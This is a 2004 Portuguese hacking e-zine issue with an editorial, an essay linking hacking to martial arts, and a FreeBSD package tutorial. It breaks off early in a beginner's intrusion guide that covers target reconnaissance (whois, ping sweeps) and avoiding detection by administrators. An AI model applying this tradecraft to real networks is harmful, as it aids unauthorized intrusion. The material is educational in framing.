88         88
                         88d8b.d8b. .d8888b. d8888P .d888b88
                         88'`88'`88 88'  `88   88   88'  `88
                         88  88  88 88.  .88   88   88.  .88
                         dP  dP  dP `88888P'   dP   `88888P8

                                          oo       dP
                                                   88
                        .d8888b. dP    dP dP .d888b88 .d8888b.
                        88'  `88 88    88 88 88'  `88 88ooood8
                        88.  .88 88.  .88 88 88.  .88 88.  ...
                        `8888P88 `88888P' dP `88888P8 `88888P'
                             .88                    Número 02
                         d8888P





E-zine lançada oficialmente dia 18 de Abril de 2004.

http://www.motdlabs.org
contato@motdlabs.org
irc.brasnet.org   /join #motd



ATENÇÃO: O  MotdLabs adverte  que não  será responsável  por qualquer tolice que
você venha a fazer.  Estou certo de que  estará consciente que ao  tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se  dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir  o
que  fará com esse poder em suas mãos. Só não venha reclamar que se deu mal  por
ter   feito  algo  que aprendeu  nesta  mesma.  Obrigado pela  a  atenção  e boa
leitura!!! :)





=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

c4ri0c4....................................................c4ri0c4@motdlabs.org

d4rwin......................................................d4rwin@motdlabs.org

greenhornet............................................greenhornet@motdlabs.org

hallz........................................................hallz@motdlabs.org

Haze..........................................................haze@motdlabs.org

inferninh0..............................................inferninho@motdlabs.org

IP_FIX......................................................ip_fix@motdlabs.org

REPOLHO....................................................repolho@motdlabs.org

SkyNet45..................................................skynet45@motdlabs.org

Stinger....................................................stinger@motdlabs.org

vbKeyDel...................................................vbkeydel@hotmail.com



=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[Índice]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


[01] Introdução                                          6,34kb (by IP_FIX)
[02] O Hacking e as Artes Marciais 			 7,31kb (by greenhornet)
[03] Programas no FreeBSD (Ports e Packages)             11,2kb (by hallz)
[04] Primeiros passos para iniciantes			 25,0kb	(by inferninh0)
[05] Shellcode Sem Segredos Parte I                      73,6kb (by IP_FIX)
[06] Tutorial Básico de Winsock em VB			 23,4kb (by vbKeyDel)
[07] Sniffing for Dummies			         22,1kb (by hallz)
[08] Introdução ao SSH 				         10,4kb (by Haze)
[09] Usando o NMAP 					 5,48kb (by REPOLHO)
[10] ASP Security				         13,1kb (by Stinger)
[11] Programação em Pascal 				 47,4kb (by d4rwin)
[12] TCP/IP 						 21,3kb (by SkyNet45)
[13] Inutilitários                                       18,9kb (by MOTDLabs)
[14] Detecção de Firewalls				 6,43kb (by c4ri0c4)
							--------
						       291,96kb
 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]-=|IP_FIX|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Welcome Back, Newbies! :)

	Estamos devolta com a e-zine MOTD Guide na sua edição 02 que como  podem
	perceber ela está um pouco diferente da anterior. Mais leve, compacta  e
	mais fácil de achar os artigos desejado. PHRACK STYLE!!! :D

	Muita  coisa  mudou  nesses  últimos  meses,  coisas  boas  e  ruins tem
	acontecido para  todos nós.  O grupo  teve tido  problemas  mas tudo tem
	sido superado, muitos  vieram para nosso  lado e na  medida que possível
	estamos trabalhando em projetos como construções de ferramentas. A  cena
	do hacking ético brasileiro vem crescendo espantosamente, impressionante
	como muitos tem sido fiel a ela e lutado por ideias não só proprios, mas
	como  um  "todo"  também.  Qual  o  resultado  de  tudo  isso?  Veja em:
	http://www.h2hc.com.br 

	H2HC - Hackers to Hackers Conference - Será um evento totalmente voltado
	para o hacking  com a presença  de grandes nomes  conhecidos e cheio  de
	palestra técnicas. Será a DefCon brasileira! Não percam! :P

	Bom, aproveitem a zine e não deixem de criticá-la na mail-list, qualquer
	crítica/sugestão/reclamação/discussão dela será bem aceito. Agora a zine
	tem um site próprio (ela está criando vida! :P) para os interessados  em
	publicar algo. Esta  edição foi limitada  aos membros privados  devido à
	problemas que  tivemos na  edição passada  mas nada  impedirá que outros
	possam   publicar  suas   matérias  daqui   pra  frente.   Confira  em:
	http://guide.motdlabs.org/

	Não  deixem de  conferir a  seção de  Inutilitários, que  possui alguns
	programas  feitos  por  alguns membros  daqui,  essa  seção possui  tags
	especiais (<++>  e <-->)  para serem  extraídas através  do extract.c da
	PHRACK  que  acompanha  essa edição.  Também  está  incluído o  D-Fymder
	(http://dfymder.motdlabs.org), que é um  scanner distribuído em PHP.  
	
	Sóisso  galera,  aproveitem  e  não deixem  de  particpar  na  mail-list 
	e principalmente no canal  que é nosso  forte. Dúvidas gerais  mandem um 
	e-mail para contato@motdlabs.org ou fale pessoalmente no canal #motd. 

	Boa leitura! :)

	Atenciosamente,

	IP_FIX.
	

Nossos parceiros r0x!

Clube dos Mercenários:
http://cdm.frontthescene.com.br
http://br.groups.yahoo.com/group/clube_dos_mercenarios/
irc.brasnet.org 	/j #mercenaries

Front The Scene:
http://www.frontthescene.com.br
http://br.groups.yahoo.com/group/frontthescene/
irc.brasnet.org		/j #fts

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[O HACKING E AS ARTES MARCIAIS]-=|greenhornet|=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Este texto eh voltado para comunidade newbie, se voce estiver procurando  alguma
tecnica de como invadir,roubar senhas... Nao perca o seu tempo lendo esse texto.

Dediquei  mais  da metade  da  minha vida  aos  estudos das  Artes  Marciais, em
especifico da chinesa e nos ultimos anos tambem venho me dedicando ao estudo  do
Hacking.
E nesses dois caminhos aparentemente sem conexão venho encontrando tantos pontos
em comum que gostaria de compartilhar com a comunidade.

O  primeiro  ponto  em  comum  e que  normalmente  as  pessoas  hoje  estão mais
interessadas em produtos "fast-food", ou  seja algo que seja rapido,  facil, com
minimo de esforco  e maximo de  resultado. E quem  realmente estuda e  pratica o
hacking legitimo sabe que assim como nas Artes Marciais o Hacking eh um  Caminho
de vida, que nunca tem fim! 

Um exemplo  simples de  voce enxergar  isso eh  ver as  centenas de academias de
defesa pessoal que  ensinam o individuo  a como se  defender de assaltos  e etc.
Quando na verdade estão apenas criando um falso senso de segurança no  individuo
e que por causa disso o estara espondo mais ao perigo do que se não  connhecesse
nada. Assim tambem acontece no  Hacking, existem milhares de livros  e cursinhos
que   dizem:"Seja  hacker   em  24horas",   "Aprenda  todas   as  tecnicas   dos
hackers","seguranca  maxima"...  E  todos  que  compartilham  de  um  minimo  de
conhecimento e bom senso sabem que tudo isso não passa de caça niqueis!

As Artes Marciais  fazem parte de  uma cultura milenar,  de um povo  que tem uma
historia riquissima. O Termo Kung Fu foi criado a mais de 4000 anos, e no inicio
não era  ligado diretamente  a pratica  da Arte  Marcial. Pois  KUNG se refere a
trabalho, esforco, dedicação; alias o  ideograma Kung representa a figura  de um
instrumento  agricula,  que denota  esforco,  suor. O  termo  FU signica  "Homem
Maduro", geralmente era associado a marido, homem de muita cultura ou de  grande
influencia na sociedade ou um grande artista de grande criatividade.

Portanto Kung Fu  era usado para  se referir a  um homem maduro  que alcancou um
alto nivel de compreesão e execução em determinada area. Dentro desse raciocinio
você poderia ter muito Kung Fu para matematica, literatura, culinaria...

O termo Kung Fu só comecou a ser associado a Arte Marcial Chinesa no ocidente na
decada de 50 quando o famoso Bruce  Lee chegou a America e apresentou um  metodo
de luta completamente inovador;  e quando o questionavam  sobre o que ele  fazia
ele  simplesmente dizia  "Kung Fu!".  E apartir  dai no  ocidente comecou  a se
associar esse nome exclusivamente a Arte Marcial Chinesa. Na China Arte  Marcial
eh chamada "Wu Shu", e eh interessante notar que ao longo da historia esse termo
teve diferentes interpretações.  WU:Marcial e SHU:Arte,  mas diferente da  nossa
visão ocidental em que Marcial se refere ao Deus greco-romano Marte. Wu para  os
chineses eh representado pela figura de um  machado e de um pe parado; que  da a
ideia de parar o  machado ou deter o  machado(A violencia), portanto o  objetivo
primordial da Arte Marcial sempre foi Deter o Machado ou seja deter a violencia.
Num  primeiro  momento esse  termo  foi usado  quando  as terras  chinesas  eram
invadidas por guerreiros  de outros povos.  Então deter a  violencia significava
deter a invasão estrangeira. 

Seculos depois quando os monges começaram a empregar o treino de Kung Fu  dentro
do  Monasterio  Shaolin,  WuShu passou  a  ter  outra conotação;  a  de  deter a
violencia atraves do autocontrole, ou  seja os monges desenvolviam a  capacidade
de ferirem um individuo ou ate mesmo mata-lo, mas ao mesmo tempo desenvolviam  o
auto-controle (ou seja  deterem a "si  mesmos"), uma etica  para que tivesse  um
equilibrio emocional.

Esse mesmo  espirito eh  encontrado no  Hacking em  que pessoas  desenvolvem uma
serie de qualidades atraves  da dedicação intensa ao  estudo do Hacking. Pois  o
hacking  praticado  em  sua  essencia  desenvolve  no  individuo  foco(a  grande
habilidade do  individuo se  concentrar em  determidado problema  e grudar  nele
horas, dias muitas vezes ate sem dormir ate encontrar a solução),  Criatividade:
Muitos pensam erroneamente que o hacker eh simplesmente uma biblioteca ambulante
que acumulou  muito conhecimento,  mas o  verdadeiro hacking  começa apartir  do
ponto em  que ele  aprendeu, indo  alem do  ponto que  aprendeu. A capacidade de
abstração e de se livrar de toda logica.

A importancia da pratica  nos dois caminhos eh  essencial, o movimento, a  ação!
Explicando melhor a  Teoria ela deve  usada apenas para  embasar a sua  vivência
pratica e não o contrario. Portanto você não eh considerado um Hacker ou Artista
Marcial legitimo enquanto não desenvolver  suas proprias ideias e teses.  E como
mencionado  anteriormente  sobre  o controle  emocional  dos  monges guerreiros,
dentro do hacking existe uma etica que deve ser cultivada, ou seja, o  invididuo
tem a  capacidade de  poder fazer  algo destrutivo,  mas não  o faz  por ter  um
objetivo maior. Esses principios que diferenciam um Artista Marcial de um lutador 
ou de um atleta.

Muitas  vezes  o objetivo  do  individuo esta  em  apenas ganhar  competições  e
conquistar medalhas, enquanto o Artista Marcial esta focado em lapidar cada  vez
mais  a si  mesmo. O  mesmo cenario  eh encontrado  na diferença  do hacker  pro
cracker, um tem  o objetivo de  alcancar a excelencia  do conhecimento, o  outro
esta apenas interessado em roubar,  destruir e alcançar lucro. Existe  um abismo
de  diferenças nesses  caminhos e  espero que  a maioria  possa enxergar  essas
diferencas.

Um  outro aspecto  que vale  a pena  ser mencionado  eh sobre  a relação  homem
-maquina. Os guerreiros  antigos, como os  grandes samurais por  exemplo, tinham
sua  espada  não como  um  instrumento, mas  como  parte dele  mesmo,  tamanha a
intimidade que ele tinha  com sua arma. A  espada do samurai era  simplesmente a
extensão do seu corpo; ele alcançava um grau tão elevado em que os dois eram  um
só! Penso que no hacking devemos  almejar nivel semelhante, ou seja, conhecer  o
sistema, a  maquina profundamente  para que  você chegue  ao nivel  de conseguir
executar qualquer coisa que deseje, sem limitações, você e a maquina serem um!

Uma outra caracteristica interessante em  ambos caminhos que deve ser  cultivada
eh a  malicia: Uma  vez meu  mestre me  disse uma  frase que  nunca esqueci:  "O
Artista Marcial  pode ser  acusado de  qualquer coisa,  menos de  ingenuo!". Com
malicia  não quero  dizer em  fazer algo  destrutivo, mas  vejo malicia  como a
capacidade do individuo enxergar as possibidades boas e ruins de cada  situação.
Portanto no Hacking procure  saber sempre no que  esta se metendo, com  quem tem
andado pois as consequencias podem ser desastrosas.

E isso,espero que esse texto esclareça um pouco as pessoas que ainda não tem uma
visão clara  sobre esses  caminhos, e  que enxergam  os Artistas Marciais apenas
como lutadores arruaceiros e violentos e os Hackers como marginais virtuais.

Quem quiser discutir ou dar opinião sobre o texto sinta-se a vontade para enviar
um mail.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Programas no FreeBSD (Ports e Packages)]-=|hallz|=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=              
              

==[ Introdução ]===============================================================

No FreeBSD, softwares podem ser  instalados basicamente de duas formas.  Através
de  pacotes (packages)  ou como  portas (ports).  Pacotes já  estão compilados,
bastando  um  comando para  instalá-lo  e poder  usar  o programa.  Já  os ports
precisam antes serem compilados. Aqui pretendo demonstrar o uso básico de ambos.
Lembrando que geralmente é necessário ser root para instalar programas. Acesso à
internet também é necessário.


==[ Package X Port ]===========================================================

Vantagens dos pacotes:

--> Pacotes ocupam menos espaço. Ele só ocupa  espaço para o programa em si.
--> Pacotes são instalados mais rapidamente. Como já estão na forma binária,
não precisam ser compilados primeiro.

Vantagens dos ports:

--> Você pode ativar algumas características do programa, antes de compilá-lo.
--> A coleção  de ports  te dá  informações sobre  os programas  que você  pode
instalar; o  que ele  faz, se  existe uma  versão mais  recente e  onde ele será
instalado.
--> Alguns  programas  só  estão  disponíveis  como  ports;  por  precisarem de
informações suas ou por restrições de seus criadores.
--> O sistema de ports gerencia melhor as dependências, inclusive, ele obtém
automaticamente tudo que é necessário para o programa funcionar.


==[ Instalando pacotes ]=======================================================

Pode-se instalar pacotes usando o sysinstall:

$ su
Password:
# /stand/sysinstall

No menu que aparece, selecione "Do a post-install configuration of FreeBSD". 
[Enter], depois, "Install pre-packaged software for FreeBSD" [Enter]
Escolha de onde quer instalar o software e divirta-se :-)


Você também pode instalar o software "na mão", com o comando
# pkg_add 

E pronto, o programa já pode ser utilizado.


==[ Instalando a coleção de ports ]============================================

Para poder instalar ports, você precisa ter instalado a coleção de ports  (ports
collection), que são arquivos que dizem ao FreeBSD como instalar cada  programa,
através do código fonte (source code).

Para acessar a coleção de ports, digite:

# cd /usr/ports

Se receber uma  mensagem  dizendo que  o diretório não  existe "No such  file or
directory" então a coleção não está instalada. Para instalar, logue como root  e
rode o sysinstall.

# /stand/sysinstall

Siga a sequência:

1. Acesse "Configure: Do post Install configuration of FreeBSD" [enter]
2. Acesse "Distributions: Install additional distribution sets" [enter]
3. Selecione (c/ a barra de espaço) "ports: The FreeBSD ports collection" [ok]
4. Escolha a mídia de onde quer instalar os ports, ao acabar, selecione 
"X Exit Install".


Também pode-se baixar a coleção de ports do site http://www.freebsd.com/ports/ ,
arquivo ports.tgz. Depois do término do download, mova o arquivo ports.tgz  para
/usr e descompacte-o com:

/usr# tar xzf ports.tar.gz

Pronto, a coleção de ports já está instalada!


==[ Usando os ports ]==========================================================

Localizar um programa na coleção de ports deveria ser uma tarefa difícil, já que
ela conta com mais de 6.000 programas. No entanto, podemos localizar  facilmente
um programa, usando o recurso de busca da coleção. Vamos procurar pelo  programa
nmap, um conhecido port scanner.

# cd /usr/ports
# make search name=nmap

Teremos uma lista de ports contendo 'nmap' em seu nome:

Port:	nmap-3.00
Path: 	/usr/ports/security/nmap
Info:	Port scanning utility for large networks
Maint:	d.marks@student.umist.ac.uk
Index:	security
B-deps:
R-deps:


Port:	nmapfe-3.00
Path:	/usr/ports/security/nmapfe
Info:	GUI frontend for the nmap scanning utility
Maint:	d.marks@student.umist.ac.uk
Index:	security
B-deps:	XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6 
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0
R-deps:	XFree86-libraries-4.3.0_1 expat-1.95.6_1 fontconfig-2.1_6
freetype2-2.1.3_1 gettext-0.11.5_1 glib-1.2.10_8 gtk-1.2.10_9 imake-4.3.0
libiconv-1.8_2 pkgconfig-0.15.0


No resultado da  nossa busca podemos  ver o nome  do port e  sua versão, o local
onde ele  está localizado  (path), uma  pequena descrição  do propósito  de cada
programa, o endereço de contato caso tenha problemas com o port, e o que o  port
precisa para ser compilado (B-deps) e o que precisa para ser executado (R-deps).
Vamos "fuçar" um pouco mais o nmap antes de instalá-lo.

# cd /usr/ports/security/nmap

O arquivo pkg-desc contém uma descrição de algumas linhas sobre o programa.
Podemos vê-la com o comando cat.

# cat pkg-descr
nmap is a utility for port  scanning large networks, although it works  fine for
single  hosts. The  guiding philosophy  for the  creation of  nmap was  TMTOWTDI
(There's More Than One Way To Do It). Sometimes you need speed, other times  you
may need stealth.  In some cases,  bypassing firewalls may  be required. Not  to
mention  the fact  that you  may want  to scan  different protocols  (UDP, TCP,
ICMP,etc.).  You  just can't  do  all this  with  one scanning  mode.  Thus nmap
incorporates virtually every scanning technique known of.

WWW: http://www.insecure.org/nmap/index.html

See the webpage and  the Phrack Magazine article  (Volume 7, Issue 51  September
01, 1997, article 11 of 17) http://www.insecure.org/nmap/p51-11.txt

-- David
   obrien@cs.ucdavis.edu


Já o  arquivo pkg-plist  contém uma  lista de  arquivos que  o port instala, e o
destino de cada um.

#cat pkg-plist
@comment $FreeBSD: ports/security/nmap/pkg-plist,v 1.11 2001/04/15 01:04:33 
obrien Exp $
bin/nmap
share/nmap/nmap-os-fingerprints
share/nmap/nmap-protocols
share/nmap/nmap-services
share/nmap/nmap-rpc
@dirrm share/nmap


==[ Instalando um port ]=======================================================

Para instalar um  port é necessário  estar conectado à  internet e estar  logado
como root. Vamos instalar o nmap:

# cd /usr/ports/security/nmap
# make install

Você verá o progresso da instalação em sua tela, ao termino do processo, se tudo
ocorreu bem, o programa já pode ser utilizado. :)

Para economizar espaço pode-se remover os arquivos criados durante a instalação,
com o comando make clean

# make clean
===> Cleaning for nmap-3.00

Para economizar mais espaço, podemos  remover manualmente os arquivos que  foram
baixados. Eles ficam no diretório /usr/ports/distfiles


==[ Obtendo informações sobre programas instalados ]===========================

O  FreeBSD  mantém  em /var/db/pkg  um  registro  de todos  os  ports  e pacotes
instalados no sistema. Neste diretório  podemos obter dados sobre os  programas,
com o comando pkg_info

# cd /var/db/pkg
# pkg_info -v nmap-3.00/ | more

Serão exibidos dados como a descrição do programa,  o diretório de instalação e 
os arquivos criados.
Caso não saiba o nome completo do diretório, use TAB. Exemplo:

# pkg_info -v nmap (e pressione TAB) - o FreeBSD vai completar o nome para você.
Esperto, não?


==[ Removendo Ports ou pacotes ]===============================================

Para apagar um programa, tudo que precisamos saber é o nome do pacote (ou port).

# cd /var/db/pkg
# ls -d nmap*
nmap-3.00

# pkg_delete nmap-3.00

Pronto, programa removido :-)


==[ Atualizando a coleção de ports ]===========================================

"O  tempo  passa,  o  tempo  voa"  e  a  sua  coleção  de  ports  um  dia ficará
ultrapassada. Para atualizá-la, usamos o cvsup, localizado em /usr/local/bin/

Caso o cvsup não esteja instalado, rode o /stand/sysinstall (Configure->Packages->
"Midia a ser usada"->Net->cvsup)

Antes de poder atualizar a coleção de ports, devemos editar os supfiles, que são
arquivos com instruções que o cvsup usa para atualizar conjuntos de ports. Vamos
criar um supfile que atualize a coleção inteira.

# cd /usr/share/examples/cvsup
# cp ports-supfile bkp_ports-supfile

Agora abra o arquivo ports-supfile e mude a linha:

*default host=CHANGE_THIS.FreeBSD.org

para:

*default host=cvsup.br.FreeBSD.org
(ou outro servidor listado em http://www.freebsd.org/doc/handbook/cvsup.html)


Caso não queira atualizar a coleção  inteira, basta comentar (adicionar um #  no
começo da linha) a linha ports-all, e "descomentar" as linhas que se referem  ao
que você quer atualizar.

Para atualizar a coleção, basta executarmos: (Lembre-se que é necessário estar 
conectado à internet.)

# cvsup -g -L2 ports-supfile

O -g serve para desativar a interface gráfica ( no terminal é mais 'leet' :P  ),
e o -L2 mostra o andamento da atualização.

Se tudo correr bem,  após algum tempo (varia  de acordo com a  velocidade da sua
conexão) você verá a mensagem "Finished successfully" na tela.

Pronto, a sua coleção de ports está atualizada ;-)

Mas... e se você já tiver  uma versão antiga de algum programa  instalado? Vamos
atualizá-lo!

# pkg_version -v |grep nmap
nmap-3.00 < needs updating (port has 3.48_1)

Certo, aí vemos que o nosso todo-poderoso nmap precisa de atualização. Então,
mãos à obra! 

O  comando  'pkg_version  -c |grep  nmap'  nos  mostra o  comando  que  deve ser
executado  para  realizar a  atualização,  contudo prefiro  usar  outro caminho;
primeiro compilo a nova versão. Se não ocorrerem erros, apago a versão antiga  e
instalo a  nova. Usaremos  o pkg_version  apenas para  ver onde  se localiza  os
arquivos do programa que deve ser atualizado.

# pkg_version -c |grep nmap
# nmap
cd /usr/ports/security/nmap
make clean && make && pkg_delete -f nmap-3.00

# cd /usr/ports/security/nmap
# make all
===> Extracting for nmap-3.48_1
...
(Muitas linhas depois... Muitas mesmo! :P )
Compiling nmap
rm -f nmap
#

Vemos que compilou sem problemas, entao removemos a versão antiga:

# ls -d /var/db/pkg/nmap*
/var/db/pkg/nmap-3.00
# pkg_delete -f /var/db/pkg/nmap-3.00

E instalamos a nova:

# make install
===> Installing for nmap-3.48_1
...
For more  information, and  contact details  about the  security status  of this
software, see the following webpage: http://www.insecure.org/nmap/

Agora  removemos  os arquivos  gerados  durante o  processo,  que não  são  mais
necessários:

# make clean
===> Cleaning for libtool-1.4.3_2
===> Cleaning for pcre-4.4
===> Cleaning for nmap-3.48_1

# /usr/local/bin/nmap --version

nmap version 3.48 ( http://www.insecure.org/nmap/ )

Pronto, Nmap atualizado :)


==[ Finalizando ]==============================================================

Vimos  aqui que  instalar/atualizar/remover programas  no FreeBSD  não é  nenhum
"bicho de sete cabeças", e que suas ferramentas são bastante versáteis. Para mais 
informações, consulte as manpages; a melhor forma de aprender é fuçar, sempre ;-)

Links úteis:
http://www.primeirospassos.org/
http://www.freebsd.org/doc/handbook/
http://www.myfreebsd.com.br/
http://www.linuxbsd.com.br/

===[ EOF ]======================================================================

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[Primeiros passos para iniciantes]-=|inferninh0|=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


------------------------ INDICE -------------------------
1 - Introducao

2 - Colhendo Dados
 2.1 - Pesquisando o registro do dominio
 2.2 - Usando Ping (Pong?..:P)
 2.3 - Scanear ou nao scanear, eis a questao...
 2.4 - Analisando Banners
 2.5 - Detectando o S.O.
 2.6 - Usando Engenharia Social 

3 - Partindo para a ofensiva
 3.1 - Avaliando as brechas
 3.2 - Senhas padroes e Brute force
 3.3 - Trojans
 3.4 - Servicos mal configurados e/ou vulneraveis

4 - Pos-invasao
 4.1 - Garantindo acesso
 4.2 - Quem deixa rastro eh lesma...;)
 4.3 - Evitando "visitantes" indesejados
 4.4 - Cheirando a rede

5 - Finalizando

---------------------------------------------------------


---------------
1 - Introducao |
---------------

   Realmente fazia muito tempo que eu nao digitava nenhum texto, devido a falta
de tempo e de disposicao, mais enfim, aqui estou eu novamente... Pretendo
neste texto abordar por alto e de forma generalisada alguns metodos utilizados
para conseguir acesso a uma maquina e como mante-lo, vou procurar evitar ao
maximo fazer desde texto mais uma receita de bolo, isso nao eh um guia
definitivo, na verdade estarei apenas expondo alguns conceitos ja amplamente
divulgados que sabe-se la por que, alguns nao conseguem acesso a tais informacoes
a intencao e aticar a vontade de aprender e de pesquisar do leitor, e que 
ninguem mais entre em canais de irc pedindo um programa pra invadir...:~.
No decorrer do texto serao indicados diversos links e sugestoes de leituras
para aprofundamento no assunto, seria prudente ler alguns deles...:)


-------------------
2 - Colhendo dados |
-------------------

   Uma boa coleta de dados sobre o host alvo e fundamental, isso e q lhe dara
base para efetuar o ataque, existem diversas formas de se coletar dados, cada
um tem seus proprios metodos, de forma que vou apenas citar alguns ja bem
difundidos e dar exemplos, os eventos nao sao descritos de forma cronologica
entao siga-os na sequencia que achar melhor e nem se prenda somente a esses
metodos, o limite e a sua imaginacao e determinacao.


2.1 - Pesquisando o registro do dominio
***************************************

   Sempre que um dominio eh registrado, isso eh armazenado em um banco de dados
online, podendo ser pesquisado por qualquer um que tenha interesse, aqui no
Brasil temos o http://www.registro.br/ mais afinal qual seria a utilidade de
fazer tal consulta?
   Pode-se descobrir facilmente o nome do responsavel pelo dominio, ou ao menos
quem registrou, numeros de telefones e enderecos, isso ajuda muito em um
ataque de engenharia social que abordaremos mais tarde. E possivel ainda
encontrar servidores de nome do dominio, data de criacao, e ultima atualizacao no
registro do mesmo, todos esses dados podem ser uteis, use sua imaginacao.
Abaixo um exemplo de pesquisa usando o 'whois' do linux.

inferninho@weapon:~$ whois capivara.org

Domain Name:CAPIVARA.ORG
Created On:04-Nov-2001 23:23:37 UTC
Last Updated On:04-Jan-2004 03:54:12 UTC
Expiration Date:04-Nov-2004 23:23:37 UTC
Registrant Name:Seu Craison
Registrant Organization:Capivara
Registrant Rua dos Bobos n 0
Registrant Cidade de Deus
Registrant State/Province:CP
Registrant Postal Code:10000-000
Registrant Country:BR
Registrant Email:craisson@capivara.org
Admin Name:Massaranduba
Admin Organization:Capivara
Admin Rua: Macho pra cacete n 23,5 por 14
Admin City:Macholandia
Admin State/Province:CP
Admin Postal Code:10000-000
Admin Country:BR
Admin Email:Massaranduba@capivara.org
Name Server:DNS1.NAME-SERVICES.COM
Name Server:DNS2.NAME-SERVICES.COM
Name Server:DNS3.NAME-SERVICES.COM
Name Server:DNS4.NAME-SERVICES.COM
Name Server:DNS5.NAME-SERVICES.COM
Name Server:NS.CAPIVARA.COM.BR
Name Server:NS2.CAPIVARA.COM.BR



2.2 - Usando Ping (Pong?..:P)
*****************************

   O ping e o metodo mais simples de detectar quando um IP esta vivo na rede,
ele simplesmente envia pacotes ICMP ECHO REQUEST a um IP caso ele responda
com um ICMP ECHO REPLY temos mais uma maquina viva, qual a utilidade disso?
Bom desta forma vc pode comecar a construir uma lista de maquinas da rede
alvo e determinar qual delas eh melhor vc atacar primeiro, oq? Vc nao
acredita mesmo que todos os ataques sao feitos sempre visando a maquina
principal da rede, logo de cara, acredita?

inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.074 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.073 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.081 ms
64 bytes from localhost (127.0.0.1): icmp_seq=5 ttl=64 time=0.069 ms

--- localhost ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3996ms
rtt min/avg/max/mdev = 0.069/0.073/0.081/0.007 ms

  Como podemos ver a maquina 'pingada' (pingado!? isso lembra cafe com leite,
perai que vou fazer um pra mim...:P) esta viva na rede, isso eh evidente ja
que se trata da mesma maquina que digito esse txt agora, pra que diabos eu
pinguei eu mesmo? No decorrer do txt irei mostrar diversos exemplos todos
usando localhost ou maquinas imaginarias como 'alvo' assim evita-se de alguem
tentar fazer oq nao deve na maquina usada como exemplo...;)

  Existe a possibilidade do admin bloquear o ping usando um firewall, com
iptables teriamos algo como:

# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

  Essa regra bloqueia apenas o 'pong' assim sua maquina nao ira responder a
nenhuma solicitacao.

inferninho@weapon:~$ ping -c 5 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.

--- localhost ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4014ms

  Note que as estatisticas apresentadas mudaram...;)...a titulo de
aprofundamento no assunto sugiro a leitura do seguinte texto:

Nibble -> Hping2 VS IPtables
http://cdm.frontthescene.com.br/artigos/info.hping2-vs-iptables.txt

Nash Leon -> Ilustrações Básicas de Algumas Técnicas Contra Firewalls
http://geocities.yahoo.com.br/d4rwin_d4rwin/textos/unsekurity/
ilustracoes_basicas_de_algumas_tecnicas_contra_firewalls.txt


2.3 - Scanear ou nao scanear, eis a questao...
**********************************************

   A grande maioria dos atacantes hoje em dia se utilizam de ferramentas que
procuram por portas abertas e/ou falhas em um host, isso eh muito util e
facilita em muito o trabalho de coleta de dados, mais por outro lado esses
scaner sao extremamente barulhentos, e acabam avisado o admin da rede sobre
sua varredura e dependendo do caso ate o IP real do atacante, se voce nao quiser
causar alarde com relacao a sua investida no host, nao deve de forma nenhuma
utilizar um scanner de rede, obviamente dependendo do host caso vc tenha
certeza que ali nao tenha nenhum sistema de IDS e o admin seja um inutil,
nao ha mal nenhum em se utilizar dos scanners, ueh mais como saber quais
portas e quais vulnerabilidades tem um host sem sequer passar um scanner nele?
Deducao? Eh isso mesmo adivinhao...:P... voce ira deduzir algumas portas
abertas, uma boa forma e visitar a pagina web do host, e procurar pelos
